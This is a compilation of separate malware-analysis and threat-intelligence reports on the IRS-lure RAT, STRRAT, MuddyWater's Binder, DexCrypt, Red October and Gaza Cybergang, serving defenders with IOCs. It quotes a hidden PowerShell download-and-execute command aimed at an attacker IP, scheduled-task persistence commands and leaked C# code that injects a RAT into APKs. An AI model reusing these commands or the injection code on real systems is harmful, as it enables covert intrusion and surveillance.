Removal on Host: Timestomp | | Discovery | T1057 | Process Discovery | | | | List running processes with backdoor | | | T1082 | System Information Discovery | | | | Gather IP address, computer name, OS version, and CPU architecture with backdoor | | | T1083 | File and Directory Discovery | | | | List files in some directories with backdoor | | | T1124 | System Time Discovery | | | | Gather system information with backdoor | | Command | T1071.001 | Application Layer Protocol: Web Protocols | | and Control | | Use HTTP as C2 channel with backdoor | | | T1573.001 | Encrypted Channel: Symmetric Cryptography | | | | Use RC4 encryption and base64 with backdoor | | Exfiltration | T1041 | Exfiltration Over C2 Channel | | | | Exfiltrates gathered data over C2 channels with backdoor |
# Fake IRS Notice Delivers Customized Spying Tool **Jérôme Segura** **September 21, 2017** While macro-based documents and scripts make up the majority of malspam attacks these days, we also see some campaigns that leverage documents embedded with exploits. Case in point, we came across a malicious Microsoft Office file disguised as a CP2000 notice. The Internal Revenue Service (IRS) usually mails out this letter to taxpayers when information is incorrectly reported on a previous return. Victims that fall for the scam will infect themselves with a custom Remote Administration Tool (RAT). A RAT can be utilized for legitimate purposes, for example by a system administrator, but it can also be used without a user’s consent or knowledge to remotely control their machine, view and delete files, or deploy a keylogger to silently capture keystrokes. In this blog post, we will review this exploit’s delivery mechanism and take a look at the remote tool it deploys. ## Distribution The malicious document is hosted on a remote server, and users are most likely enticed to open it via a link from a phishing email. The file contains an OLE2 embedded link object which retrieves a malicious HTA script from a remote server and executes it. In turn, it downloads the final payload, all with very little user interaction required since it is using CVE-2017-0199, first uncovered in April 2017 as a zero-day. The embedded link points to an HTA script hosted under an unexpected location – a Norwegian company’s compromised FTP server – which invokes PowerShell to download and execute the actual malware payload. ```powershell "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -WindowStyle Hidden (New-Object System.Net.WebClient).DownloadFile('http://82.211.30[.]108/css/intelgfx.exe', 'C:\Users\[username]\AppData\Roaming\62962.exe'); ``` ## Payload The downloaded payload (intelgfx.exe) extracts several components into a local folder and achieves persistence using a decoy shortcut. The VBS scripts ensure that the main module runs without showing its GUI, in order to remain invisible to the victim. RMS agent stands for Remote Manipulator System and is a remote control application made by a Russian company. It appears that in this case, the attackers took the original program and slightly customized it, not to mention the fact that they are using it for nefarious purposes, namely spying on their victims. Its source code shows the debugging path information and name that they gave to the module. ## Office Exploits and RATs This is not the first time that CVE-2017-0199 is used to distribute a RAT. Last August, TrendMicro described an attack where the same exploit was adapted for PowerPoint and used to deliver the REMCOS RAT. It also shows that threat actors often repackage existing toolkits – which can be legitimate – and turn them into full-fledged spying applications. We reported the compromised FTP server to its owner. Malwarebytes users were already protected against CVE-2017-0199 as well as its payload which is detected as Backdoor.Bot. ## Indicators of Compromise - **Word doc**: CVE-2017-0199 `82.211.30[.]108/css/CP2000IRS.doc` `47ee31f74b6063fab028111e2be6b3c2ddab91d48a98523982e845f9356979c1` - **HTA script**: `ftp://lindrupmartinsen[.]no:21/httpdocs/test/template.hta` `d01b6d9507429df065b9b823e763a043aa38b722419d35f29a587c893b3008a5` - **Main package (intelgfx.exe)**: `82.211.30[.]108/css/intelgfx.exe` `924aa03c953201f303e47ddc4825b86abb142edb6c5f82f53205b6c0c61d82c8` - **RAT module**: `4d0e5ebb4d64adc651608ff4ce335e86631b0d93392fe1e701007ae6187b7186` - **Other IOCs from same distribution server**: `82.211.30[.]108/estate.xml` `82.211.30[.]108/css/qbks.exe`
# STRRAT: Malware Analysis of a JAR Archive The majority of malware on Windows OS is compiled executable files. Their popularity has led to a blockage at the delivery stage to the user. Fortunately, antivirus software on users’ PCs is good at detecting and blocking the malicious payload contained in these files. But malware developers use various tricks to overcome this issue: hackers develop a program using other (less popular) file formats. One of them is JAR. In this article, we will talk about one of the Java malware representatives – STRRAT. Follow along with our detailed behavior analysis, configuration extraction from the memory dump, and other information about a JAR sample. ## What is a malicious Java archive? A JAR file, a Java archive, is a ZIP package with a program written in Java. If you have a Java Runtime Environment (JRE) on your computer, the .jar file starts as a regular program. But some antivirus software may miss such malware, as it is not a popular format, but it can be easily analyzed in an online malware sandbox. Let’s look at STRRAT, a trojan-RAT written in Java. Here are typical STRRAT tasks: - data theft - backdoor creation - collecting credentials from browsers and email clients - keylogging The initial vector of STRRAT infection is usually a malicious attachment disguised as a document or payment receipt. If the victim’s device has already had JRE installed, the file is launched as an application. ## How to analyze STRRAT’s Java archive STRRAT usually has the following execution stages: 1. The icacls launch to grant permissions 2. Running a malware copy in the C:\Users\admin folder 3. Persistence via schtasks 4. Running a malware copy in the C:\Users\admin\AppData\Roaming folder 5. Collecting and sending data to the server specified in the program You can monitor this pattern of malware behavior in the STRRAT sample. ### A JAR file replication Replication is the first thing that catches your eye. We run the object from the desktop, then STRRAT creates a copy of the file: first in the C:\Users\admin folder and then in C:\Users\admin\AppData\Roaming. After that, they run consistently. ### A Java file gets file access The next step is that the malware uses icacls to control file access. The command grants all users access to the .oracle_jre_usage folder: ``` icacls C:\ProgramData\Oracle\Java\.oracle_jre_usage /grant “everyone”:(OI)(CI)M ``` ### Application launch of STRRAT malware Then malware creates a task in the Scheduler using the command line: ``` schtasks /create /sc minute /mo 30 /tn Skype /tr “C:\Users\admin\AppData\Roaming\str.jar” ``` The task is to use the Task Scheduler to run malware on behalf of the legal Skype program every 30 minutes. ### Malware changes the autorun value It writes malware into the startup menu, so we can expect STRRAT to launch again after the OS reboot. ### File creation of JAR malware STRRAT’s process creates additional JAR files downloaded from public repositories. The trojan downloaded and then created the library files from the Internet. If you run the malware through CMD, you can see them yourself. This scenario is quite unusual – we can find the program execution logs if malware is run with CMD. ### STRRAT network traffic analysis ANY.RUN online malware sandbox provides detailed information about network traffic in the Connections tab. Go to the files tab to see that the library files are loading, which is necessary for further malware execution. STRRAT downloads the following JAR libraries: - jne - sqllite - system-hook Besides data transferring, we can notice the constant attempts to connect with the 91[.]193[.]75[.]134 IP address. ## Malicious Java archive’s IOCs The significant part of the analysis is that you can get IOCs very fast. ### How to extract STRRAT malware configuration To retrieve the malware configuration, we use PH and find all lines. Then filter them by the address we already know in Connections. As a result, we find only one interesting string. Brief string analysis shows that it contains separators in the form of “vertical dashes,” different configuration parameters: - address - port - URL link - 2 places where malware needs to install itself (Registry and StartconfigurationSkype) - task - proxy - LID (license) These data are included in the configuration we are looking for. The line of interest is located in the heap area of memory. Let’s take a dump of it and write a simple Python extractor. To sum it up, we have carried out the analysis of the malware written in JAVA and triaged its behavior in ANY.RUN online malware sandbox. We have written a simple extractor and derived the data. Copy the script of STRRAT and try to extract C2 servers by yourselves and let us know about your results! ANY.RUN has already taken care of you, and this malware is detected automatically: it takes the dump, pulls the configuration data, and presents results in an easy-to-read form.
# MuddyWater: Binder Project (Part 2) Before getting into the following blog post, I would suggest you read the “Part 1” of MuddyWater Binder Project, which is available HERE, where you might contextualize the code highlights. ## Source Code Highlights Now it’s time to get into more core pieces of code. Let’s start with the file `ConnectionHandler.cs`, which is implementing the logic behind the Binder project. Analyzing the variable assignments at the beginning of the file, we read the following code: ```csharp RedLogClass s = new RedLogClass(); private static string ip = "http://192.168.20.87"; private string getTaskUrl = ip + "/api/get_sample"; private string setStatusUrl = ip + "/api/set_status"; private string setStatusBindUrl = ip + "/api/edit_bind"; private string setPermRatUrl = ip + "/api/add_rat_permission"; private string setPermApkUrl = ip + "/api/add_apk_permission"; private string uploadUrl = ip + "/api/add_file"; private string downloadUrl = ip + "/download/file/"; private string ComparePermUrl = ip + "/api/compare_perm"; private string token = "TNwTIJStt8RXaDAuzEzGKXcFhJQ0bMApq2PmProIa0GHcITvFzslMf8pWP5kdTBtEaQDaHAsq8lCNZRDmz"; ``` Many interesting strings are telling a lot about the project and the threat actor. First of all, we have more API calls. For example, `get_status`, `get_sample`, `add_apk_permission` are telling us that we might detect this implant by a simple network probe looking for such calls. In other words, we might detect Project Binder if we see those APIs on our network without the need to have a local engine. One more `token` is precious to understand that more than a developer is using/developing the project. Indeed, the token in `ConnectionHandler.cs` is different from the one in `RedLogClass`, plus the listening IP addresses are belonging to the same subnet but not the same PC. Both of these pieces of information suggest we have more than one developer on the project. Having the same private subnet `192.168.20.x` would probably highlight that developers are working in a common office or in the same building sharing the LAN, which leads to the idea that an organized group of people is working on the project. On one hand, having the same subnet doesn’t actually mean that people are on the same local area network; for example, common private subnets such as `192.168.1.x`, `10.10.10.x`, or `10.0.0.x` are super common in many domestic infrastructures. However, when subnets are not so common (like in this case: `192.168.20.x`), finding the same subnet on two different systems (remember we do have different tokens and different listening IPs and same listening ports) is quite rare and might suggest more developers in the same local area network are working on it. But let’s focus back on the source code. Now it’s time to check another leaked file called `Functions.cs`. Here we might observe the internal Binder functions. We are not talking about API calls but rather how internally Binder works to decompile and inject malicious payloads into the original APK. ```csharp public bool decompile(string rootPath, string id, string apkName) { string apkPath = rootPath + "apks\\" + id + "\\" + apkName + ".apk"; string decompilePath = rootPath + "apks\\" + id + "\\" + apkName; if (Directory.Exists((decompilePath))) { try { System.IO.Directory.Delete((decompilePath), true); } catch (Exception ex) { this.PostLog("Exception", ex.Message); System.IO.Directory.Move(decompilePath, decompilePath + "_del"); } } if (this.Execute("cmd.exe", ("/c java -jar \"" + (rootPath + "tools\\" + ("apktool.jar\" d \"\" -f \"" + (apkPath + "\" -o \"\"" + decompilePath + "\"")))))) { this.PostLog("Information", "decompiling complete."); return true; } this.PostLog("Warning", "decompiling error."); return false; } ``` As you might appreciate from the previous code snippet, Binder does not include internal native functionalities to decompile APK nor does it use external libraries included in the MVS project. It launches simple command line utilities such as `apktool.jar`. From here we might deduce how the attacker machine should be configured. First of all, we have a Windows machine. In fact, we might see from the decompiling function the way they run `apktool` by `cmd.exe`, which is a native terminal tool in Microsoft Windows. `APKTOOLS` is a Java program, so we may assume that the attacker (developer) machine needs to have Java installed and working in the native environment. So the attacker PC is a Windows box with an old version of Visual Studio and two important tools: a JVM and `apktools` set. Controls on code (by meaning input controls) are quite light, and it could be not such a difficult to inject a command code by altering the APK name including `;` interrupting the `cmd.exe` execution. ```csharp public bool editPnameOfAccessibility(string ratPath, string targetPath) { string orgAppKey = "net.ronixi.dada/"; string FilePath1 = ratPath + "\\smali\\net\\ronixi\\dada\\dialog\\Access.smali"; string FilePath2 = ratPath + "\\smali\\net\\ronixi\\dada\\plugins\\CheckAccessibilityClass.smali"; string package = getPackage(targetPath + "\\AndroidManifest.xml"); if (package != "NON") { string allText1 = File.ReadAllText(FilePath1); string output1 = allText1.Substring(0, allText1.IndexOf(orgAppKey)) + package + "/" + allText1.Substring(allText1.IndexOf(orgAppKey) + orgAppKey.Length); File.WriteAllText(FilePath1, output1); string allText2 = File.ReadAllText(FilePath2); string output2 = allText2.Substring(0, allText2.IndexOf(orgAppKey)) + package + "/" + allText2.Substring(allText2.IndexOf(orgAppKey) + orgAppKey.Length); File.WriteAllText(FilePath2, output2); this.PostLog("Information", "Accessibility Packages of Rat Edited."); return true; } else { this.PostLog("Warning", "Accessibility Packages of Rat not Edited."); return false; } } ``` One more function in `Functions.cs` snippet. Super interesting to note which are the Organization Path Name before preparing the injection. It’s like the organization name `ronixi` would be quite interesting to be monitored or to perform research for this string over the following months. It is quite interesting what you can find on VT by searching for this string – many weird and new payloads into PDF files. One more interesting action is coming from the following function (`editSDK`) in the same leaked source code. The attacker changes the SDK version to 22… ```csharp public void editSDK(string targetPath) { string orgAppKey = "targetSdkVersion: '"; string FilePath = targetPath + "\\apktool.yml"; string allText = File.ReadAllText(FilePath); string output = allText.Substring(0, allText.IndexOf(orgAppKey) + orgAppKey.Length) + "22" + allText.Substring(allText.IndexOf(orgAppKey) + orgAppKey.Length + 2); File.WriteAllText(FilePath, output); this.PostLog("Information", "SDK version change to 22."); } ``` One more function in `Functions.cs` snippet. One more syntax mistake on line 392 of `Function.cs` supporting the non-English speaker hypothesis – `this.PostLog("Information", "inject code to launcher activity done.");`. ## Conclusions Threat attribution process is always hard and for several reasons an error-oriented process (just think of false flags). According to Lab Dookhtegan, this source code is allegedly attributed to MuddyWater. If it’s true, now we do know a little bit more about how they develop and how they “think code.” Nevertheless, we do have some network signatures that could be used to detect Binder in network analyses. These are not strong IoCs (this is why I didn’t add an IoC section) since many different applications could potentially use the same API names. However, if you consider a “union” of them (more single and different detections from the same source), we might end up if Binder is installed on your network or not. Interesting APIs to monitor: - `/api/get_sample` - `/api/set_status` - `/api/edit_bind` - `/api/add_rat_permission` - `/api/add_apk_permission` - `/api/add_file` - `/download/file/` - `/api/compare_perm` Have a nice weekend!
# DexCrypt MBRLocker Demands 30 Yuan To Gain Access to Computer A new Chinese MBRLocker called DexLocker has been discovered that asks for 30 Yuan to get access to a computer. First discovered by security researcher JAMESWT, this ransomware modifies the master boot record of the victim's computer to show a ransom note before Windows starts. Unfortunately, I was not able to get this sample to run, so I have no firsthand analysis of this ransomware. The AnyRun video posted by JAMESWT shows that once you install the ransomware, it immediately reboots the computer, and the victim is greeted with an ASCII skull and a message to send 30 Yuan to the 2055965068 QQ address to regain access to their computer. ## DexCrypt Lock Screen Microsoft's Windows Defender Security Team saw Jame's tweet and tweeted that they have labeled the MBRLocker as Ransom:DOS/Dexcrypt.A and that it can be detected by Windows Defender. According to kangxiaopao, you can enter the `ssssss` password to gain access. If this password does not work and it only replaces the MBR, it can be fixed by booting up into the Windows Recovery Console and restoring the Master Boot Record using the following commands: ``` bootrec /RebuildBcd bootrec /fixMbr bootrec /fixboot ``` Once you enter these commands, you can reboot and regain access to Windows. ## Ransom Note ``` .-' '-. / \ | | |, .-. .-. ,| | )(__/ \__)( | |/ /\ \| (_ ^^ _) \__|IIIIII|__/ | \IIIIII/ | \ / `yao mi ma gei 30 yuan jia qq 2055965068` ``` ## About the Author Lawrence Abrams is the owner and Editor in Chief of BleepingComputer.com. His area of expertise includes Windows, malware removal, and computer forensics. Lawrence Abrams is a co-author of the Winternals Defragmentation, Recovery, and Administration Field Guide and the technical editor for Rootkits for Dummies.
# Red October: Detailed Malware Description 2. Second Stage of Attack ## First Stage of Attack ### Module Framework The main component of Sputnik implements a framework for executing the tasks provided by its C&C servers. Most tasks are provided as one-time PE DLL libraries that are received from the server, executed in memory, and then immediately discarded. Several tasks need to be constantly present, waiting for the iPhone or Nokia mobile to connect. These tasks are provided as PE EXE files and are installed on the infected machine. ### Persistent Tasks - Once a USB drive is connected, search and extract files by mask/format, including deleted files. Deleted files are restored using a built-in file system parser. - Wait for an iPhone or a Nokia phone to be connected. Once connected, retrieve information about the phone, its phone book, contact list, call history, calendar, SMS messages, and browsing history. - Wait for a Windows Mobile phone to be connected. Once connected, infect the phone with a mobile version of the Sputnik main component. - Wait for a specially crafted Microsoft Office or PDF document and execute a malicious payload embedded in that document, implementing a one-way covert channel of communication that can be used to restore control of the infected machine. - Record all keystrokes and make screenshots. - Execute additional encrypted modules according to a pre-defined schedule. - Retrieve e-mail messages and attachments from Microsoft Outlook and from reachable mail servers using previously obtained credentials. ### One-time Tasks - Collect general software and hardware environment information. - Collect filesystem and network share information, build directory listings, search and retrieve files by mask provided by the C&C server. - Collect information about installed software, notably Oracle DB, RAdmin, IM software including Mail.Ru agent, drivers, and software for Windows Mobile, Nokia, SonyEricsson, HTC, Android phones, USB drives. - Extract browsing history from Chrome, Firefox, Internet Explorer, Opera. - Extract saved passwords for websites, FTP servers, mail, and IM accounts. - Extract Windows account hashes, most likely for offline cracking. - Extract Outlook account information. - Determine the external IP address of the infected machine. - Download files from FTP servers reachable from the infected machine using previously obtained credentials. - Write and/or execute arbitrary code provided within the task. - Perform a network scan, dump configuration data from Cisco devices if available. - Perform a network scan within a predefined range and replicate to vulnerable machines using the MS08-067 vulnerability. - Replicate via network using previously obtained administrative credentials. ### Module Groups **Recon**: Modules designed to be used during the first stage of a cyberattack right after initial infiltration. Their main purpose is to collect general information about the target system, estimate the potential value of current computer data, and define which other modules should be pushed next. **Password**: This group is designed to steal credentials from various applications and resources, from Mail.ru Agent to MS Outlook credentials and Windows account hashes. **Email**: This group serves to steal emails from local MS Outlook storage or remote POP3/IMAP mail servers, capable of dumping full email bodies with headers and saving attachments. **USB Drive**: This group is used to steal files from attached USB devices, capable of recognizing, restoring, and copying already deleted files of MS Office document formats. **Keyboard**: This group is dedicated to recording keystrokes, grabbing text from password input fields, and making screencaptures. **Persistence**: This group contains installer and payload code to plant a plugin in popular applications such as MS Office or Adobe Reader, activated when a specially crafted document is opened. **Spreading**: Modules used to scan for other hosts on the network, fingerprint them, and then infect via MS08-067 or a list of stolen admin credentials. **Mobile**: This group is used to dump valuable information about locally attached mobile devices, capable of copying contact information, calendars, SMS, and email databases. **Exfiltration**: While some modules work in “offline” mode, this group transfers all collected data to the C&C server, capable of reaching FTP servers, remote network shares, and local disk drives. ### Missing Modules **USB Infection**: There are modules that copy data files related to the current malware family from USB drives. However, a module to infect USB drives has not been seen yet. This module is suspected to be capable of infecting removable storage, running arbitrary modules from other groups, and saving data back to the USB drives. ### Module Comparison Table **Recon Group** - **RegConn Module** - **Known Variants**: - MD5: 5447848f3a5fdaf97c498190ed501620 - Size: 167,936 bytes - Compilation Date: October 22nd, 2011 **Summary**: Gathers system-related information, records installed and recently run software, enumerates attached USB devices, checks for custom enterprise software, maintains unfinished/unreferenced download+execute functionality, and sends encrypted collected data to C&C servers. ### Sequence of Systems Monitoring Tasks 1. Gathers startup information, selects environment variables and values. 2. Opens target directory, records all entries in the directory of applications recently run along with timestamps. 3. Loops through the registry, attempts to access and record all recently used application data. 4. Attempts to access and record a set of hardcoded registry keys related to enterprise software. 5. Attempts to access and record registry keys and values related to context menu handlers. 6. Attempts to access and record registry keys and values related to auto-start applications. 7. Attempts to access and record registry keys and values enabling email and webmail access. 8. Attempts to access and record registry keys and values related to attached mobile devices. 9. Attempts to access and record registry keys and values related to installed software. 10. Attempts to access and record registry keys indicating the presence of Radmin v2.0 remote control software. 11. Attempts to open browser configuration files and retrieves network proxies. 12. Searches for specific file types in the registry and attempts to record related data. ### Hardcoded Registry Keys - HKCUSoftwareMicrosoftWindowsShellNoRoamMUICache - HKLMSoftwareOracle - HKCUSoftwareCIT - HKLMSoftwareBaw - HKLMSOFTWAREMicrosoftWindowsCurrentVersionRun - HKCR*shellexContextMenuHandlers - HKLMSystemCurrentControlSetControlDeviceClasses ### Wnhttp Module **Known Variants**: - MD5: 1b840c5b45cd015f51010e12938b528a - Compilation Date: 2012.09.05 07:02:33 (GMT) **Summary**: The file is a PE DLL file without exported functions, compiled with Microsoft Visual Studio 2010. It checks Internet connectivity and gets the external IP address using public services. ### Sysinfo Module **Known Variants**: - MD5: e36b94cd608e3dfdf82b4e64d1e40681 - Compilation Date: 2012.09.05 09:02:30 (GMT) **Summary**: This module collects a range of information about the computer, including browsing history, and sends it to the C&C server. It does not drop itself or any other executables to the disk. ### Data Collection Malware collects information such as: - Current file time - Local time - Username - Computer name - Administrative rights - Language - Time zone - Current module name - Disk information - Local network adapter information - URL history from various browsers This module also retrieves all environment variables and current Windows Domain information. It looks for all running processes and retrieves version info for each file. It enumerates installed programs and retrieves information about installed USB devices.
# Gaza Cybergang | Unified Front Targeting Hamas Opposition **Aleksandar Milenkoski** ## Executive Summary Overlaps in targeting, malware characteristics, and long-term malware evolutions post-2018 suggest that the Gaza Cybergang sub-groups have likely been consolidating, possibly involving the establishment of internal and/or external malware supply lines. Gaza Cybergang has upgraded its malware arsenal with a backdoor that we track as Pierogi++, first used in 2022 and seen throughout 2023. Recent Gaza Cybergang activities show consistent targeting of Palestinian entities, with no observed significant changes in dynamics since the start of the Israel-Hamas war. SentinelLabs’ analysis reinforces the suspected ties between Gaza Cybergang and WIRTE, historically considered a distinct cluster with loose relations to the Gaza Cybergang. ## Overview Active since at least 2012, Gaza Cybergang is a suspected Hamas-aligned cluster whose operations are primarily targeting Palestinian entities and Israel, focusing on intelligence collection and espionage. Being a threat actor of interest in the context of the Israel-Hamas war, we track Gaza Cybergang as a group composed of several adjacent sub-groups observed to share victims, TTPs, and use related malware strains since 2018. These include Gaza Cybergang Group 1 (Molerats), Gaza Cybergang Group 2 (Arid Viper, Desert Falcons, APT-C-23), and Gaza Cybergang Group 3 (the group behind Operation Parliament). The goal of this post is twofold: 1. To highlight relations between recent and historical operations, providing a new common context connecting the Gaza Cybergang sub-groups. 2. To provide recent findings and previously unreported IOCs, which add to the accumulated knowledge of the group and support further collective tracking of Gaza Cybergang activities. In the midst of Gaza Cybergang activity spanning from late 2022 until late 2023, we observed that the group introduced a new backdoor to their malware arsenal used in targeting primarily Palestinian entities. We track this backdoor as Pierogi++. We assess that Pierogi++ is based on an older malware strain named Pierogi, first observed in 2019. We also observed consistent targeting of Palestinian entities in this time period using the group’s staple Micropsia family malware and Pierogi++. This targeting is typical for Gaza Cybergang. These activities are likely aligned with the tensions between the Hamas and Fatah factions, whose reconciliation attempts had been stagnating before and after the outbreak of the Israel–Hamas war. At the time of writing, our visibility into Gaza Cybergang’s activities after the onset of the conflict does not point to significant changes in their intensity or characteristics. Our analysis of recent and historical malware used in Gaza Cybergang operations highlights new relations between activities that have taken place years apart – the Big Bang campaign (2018) and Operation Bearded Barbie (2022). Further, technical indicators we observed, originating from a recently reported activity, reinforce a suspected relation between Gaza Cybergang and the lesser-known threat group WIRTE. This group has historically been considered a distinct cluster and then associated with low confidence with the Gaza Cybergang. This demonstrates the intertwined nature of the Gaza Cybergang cluster making the accurate delineation between its constituent and even other suspected Middle Eastern groups challenging. Throughout our analysis of Gaza Cybergang activities spanning from 2018 until present date, we observed consistent malware evolution over relatively long time periods. This ranges from minor changes in used obfuscation techniques to adopting new development paradigms and resurfacing old malware strains in the form of new ones (as Pierogi++ demonstrates). In addition, the observed overlaps in targeting and malware similarities across the Gaza Cybergang sub-groups after 2018 suggest that the group has likely been undergoing a consolidation process. This possibly includes the formation of an internal malware development and maintenance hub and/or streamlining supply from external vendors. ## Micropsia and Pierogi++ Target Hamas Opposition The Gaza Cybergang umbrella has continuously targeted Israeli and Palestinian entities preceding the Israel-Hamas war. We observed additional activities spanning from late 2021 to late 2023 aligned with previous research. Our visibility into these activities, and the theme and language of the used lure and decoy documents, indicate that they were primarily targeting Palestinian entities. The majority involved malware variants of the staple Micropsia family. Among the Micropsia family malware, we observed its Delphi and Python-based variants deploying decoy documents written in Arabic and focusing on Palestinian matters, such as the Palestinian cultural heritage and political events. Many of the associated C2 domain names, such as bruce-ess[.]com and wayne-lashley[.]com, reference public figures, which aligns with the known domain naming conventions of the group. To support further collective tracking of Gaza Cybergang activities, we focus at the end of the report on listing previously unreported Micropsia indicators. Among the Micropsia activities, we identified a backdoor that we assess is based on a malware first reported in 2020 and named Pierogi. This backdoor, which we labeled Pierogi++, is implemented in C++, and we observed its use in 2022 and over 2023. The malware is typically delivered through archive files or weaponized Office documents on Palestinian matters, written in English or Arabic. The documents distributing Pierogi++ use macros to deploy the malware, which then typically masquerades as a Windows artifact, such as a scheduled task or a utility application. The malware implementation is embedded either in the macros or in the documents themselves, often in Base64-encoded form. Pierogi++ executables also masquerade as politically-themed documents, with names such as “The national role of the revolutionary and national councils in confronting the plans for liquidation and Judaization,” “The situation of Palestinian refugees in Syria,” and “The Ministry of State for Wall and Settlement Affairs established by the Palestinian government.” We assess that Pierogi++ is based on the Pierogi backdoor, whose variants are implemented in Delphi and Pascal. Pierogi and Pierogi++ share similarities in code and functionalities, such as strings, reconnaissance techniques, and deployment of decoy documents, some also seen in Micropsia malware. Further, Pierogi++ samples implement in the same order the same backdoor functionalities as Pierogi: taking screenshots, command execution, and downloading attacker-provided files. When handling backdoor commands, some Pierogi++ samples use the strings download and screen, whereas earlier Pierogi samples have used the Ukrainian strings vydalyty, Zavantazhyty, and Ekspertyza. This raised suspicions at the time of potential external involvement in Pierogi’s development. We have not observed indicators pointing to such involvement in the Pierogi++ samples we analyzed. Most of the Pierogi++ C2 servers are registered at Namecheap and hosted by Stark Industries Solutions LTD, aligning with previous infrastructure management practices of the Gaza Cybergang umbrella. The backdoor uses the curl library for exchanging data with the C2 server, a technique that we do not often observe in Gaza Cybergang’s malware arsenal. Pierogi++ represents a compelling illustration of the continuous investment in maintenance and innovation of Gaza Cybergang’s malware, likely in an attempt to enhance its capabilities and evade detection based on known malware characteristics. ## From Molerats to Arid Viper And Beyond Following the first report on the Pierogi backdoor in February 2020, late 2020 and 2021 mark the association of the backdoor and its infrastructure with Arid Viper. The Micropsia activity linked to Arid Viper, which led to the discovery of the then-new PyMicropsia malware in December 2020, includes Pierogi samples. Further historical Pierogi samples use the escanor[.]live and nicoledotso[.]icu domains for C2 purposes, which have been associated with Arid Viper in December 2020 and April 2021. The latest variant of Pierogi is Pierogi++, which we observed targeting Palestinian entities in 2022 and over 2023 – this targeting is typical for Arid Viper. Our investigations into malware used by Gaza Cybergang prior to 2022, which share capabilities, structure, and infrastructure with Pierogi, resulted in a multitude of samples implemented in Delphi, Pascal, and C++. This highlights the frequent adoption of different development paradigms by Gaza Cybergang and aligns with the observations by Facebook, which associates these variants with Arid Viper and tracks them using different names under the broader Micropsia malware family, such as Glasswire, Primewire, and fgref. In late 2020, victims targeted with Pierogi variants as part of a suspected Arid Viper operation were observed to be also infected with the then-new SharpStage and DropBook malware, an overlap assessed to strengthen the ties between the Molerats and Arid Viper Gaza Cybergang sub-groups. Later in June 2021, the LastConn malware, which has been discovered as part of activities attributed to the TA402 cluster, was assessed with high confidence to be an updated version of SharpStage. Based on our follow-up investigation into recent 2023 TA402 activity targeting Middle Eastern government entities, we highlight concrete overlaps in malware used by TA402 and a lesser-known threat actor named WIRTE. First disclosed in April 2019, WIRTE was initially considered to be a distinct cluster but later associated with low confidence to the Gaza Cybergang umbrella (primarily based on the use of decoys on Palestinian matters, which are typical for the Gaza Cybergang constituent sub-groups). WIRTE is known for using a unique custom user agent for C2 communication when staging malware, with the value of the rv field likely being an intrusion identifier. WIRTE’s stagers encapsulate C2 communication attempts in an infinite loop, separated by sleep periods of randomly generated lengths within defined lower and upper boundaries. We observe the same unique user agent format and C2 communication pattern in TA402’s .NET malware stagers. The involvement of malware artifacts previously seen only in the context of WIRTE indicates a likely relation between the TA402, WIRTE, and Gaza Cybergang clusters. This aligns with the latest TA402 attribution assessment as a cluster overlapping with Gaza Cybergang and WIRTE. ## Back To The Big Bang Operation Bearded Barbie, revealed in April 2022 and attributed with moderate-high confidence to Arid Viper, is a campaign that has been targeting Israeli individuals and officials in the law enforcement, military, and emergency services sectors. The operation highlights the BarbWire backdoor as a novel malware in Arid Viper’s arsenal. A closer look at the implementation of the BarbWire variants observed as part of Operation Bearded Barbie reveals relations to a malware strain used as part of the 2018 Big Bang campaign, which was considered an evolution of a 2017 campaign targeting Palestinian individuals and entities. Without making a concrete attribution at the time, the campaign was loosely associated with the Gaza Cybergang, noting some links to Arid Viper in particular. The Big Bang campaign involves the use of a C++ implant, assessed to be an upgraded version of older Micropsia variants. In addition to some similarities in execution flow and structure, we observed that the backdoors used in the Big Bang and Bearded Barbie campaigns share unique strings that report the execution status and/or indicate internal references to malware modules. The BarbWire samples used as part of Operation Bearded Barbie are reported to implement a custom base64 algorithm to obfuscate strings. The backdoor does not implement changes to the Base64 encoding algorithm itself, but modifies Base64 strings by adding an extra character that is removed before decoding. String decoding of BarbWire strings in this way reveals exact matches between BarbWire and the backdoor observed in the Big Bang campaign. In contrast to BarbWire, BigBang backdoor samples obfuscate the same strings present in BarbWire using Base64-encoding only. The malware authors have likely introduced the Base64 string modification technique in later malware development efforts (reflected in Operation Bearded Barbie), as a relatively simple but effective attempt to evade detection based on known string artifacts. This technique also allows for quick changes of the modified Base64 strings by only changing the second character to keep evading detection over time. ## Conclusions Gaza Cybergang operations over 2022 and 2023 reveal a sustained focus on targeting Palestinian entities. The discovery of the Pierogi++ backdoor shows that the group continues to evolve and supplement its staple malware arsenal, including transforming older implementations into new tooling. The intertwined nature of its constituent sub-groups sharing TTPs, malware, and victims indicates that Gaza Cybergang is a unified front against anti-Hamas interests. The persistent nature of the Gaza Cybergang threat underscores the necessity for sustained vigilance and cooperative measures to address the challenges posed by these threat actors. SentinelLabs continues to monitor Gaza Cybergang activities to further improve the collective knowledge on the group’s dynamics and to supply indicators, which are relevant to security teams defending their organizations and individuals at risk of being targeted. ## Indicators of Compromise ### SHA-1 Hashes - 003bb055758a7d687f12b65fc802bac07368335e: Micropsia family malware - 19026b6eb5c1c272d33bda3eab8197bec692abab: Micropsia family malware - 20c10d0eff2ef68b637e22472f14d87a40c3c0bd: Pierogi backdoor - 26fe41799f66f51247095115f9f1ff5dcc56baf8: TA402 malware staging executable (2022 version) - 278565e899cb48138cc0bbc482beee39e4247a5d: Pierogi backdoor - 2a45843cab0241cce3541781e4e19428dcf9d949: Micropsia family malware - 32d0073b8297cc8350969fd4b844d80620e2273a: Document distributing Pierogi++ - 3ae41f7a84ca750a774f777766ccf4fd38f7725a: Document distributing Pierogi++ - 42cb16fc35cfc30995e5c6a63e32e2f9522c2a77: Pierogi++ - 4dcdb7095da34b3cef73ad721d27002c5f65f47b: BarbWire backdoor - 5128d0af7d700241f227dd3f546b4af0ee420bbc: Pierogi++ - 5619e476392c195ba318a5ff20e40212528729ba: Micropsia family malware - 599cf23db2f4d3aa3e19d28c40b3605772582cae: Pierogi backdoor - 5e46151df994b7b71f58556c84eeb90de0776609: Document distributing Pierogi++ - 5fcc262197fe8e0f129acab79fd28d32b30021d7: WIRTE PowerShell script - 60480323f0e6efa3ec08282650106820b1f35d2f: Archive distributing Pierogi++ - 694fa6436302d55c544cfb4bc9f853d3b29888ef: BarbWire backdoor - 708f05d39df7e47aefc4b15cb2db9f26bc9fad5f: TA402 malware staging executable (2022 version) - 745657b4902a451c72b4aab6cf00d05895bbc02f: Micropsia family malware - 75a63321938463b8416d500b34a73ce543a9d54d: Pierogi++ - 95fc3fb692874f7415203a819543b1e0dd495a57: Micropsia family malware - 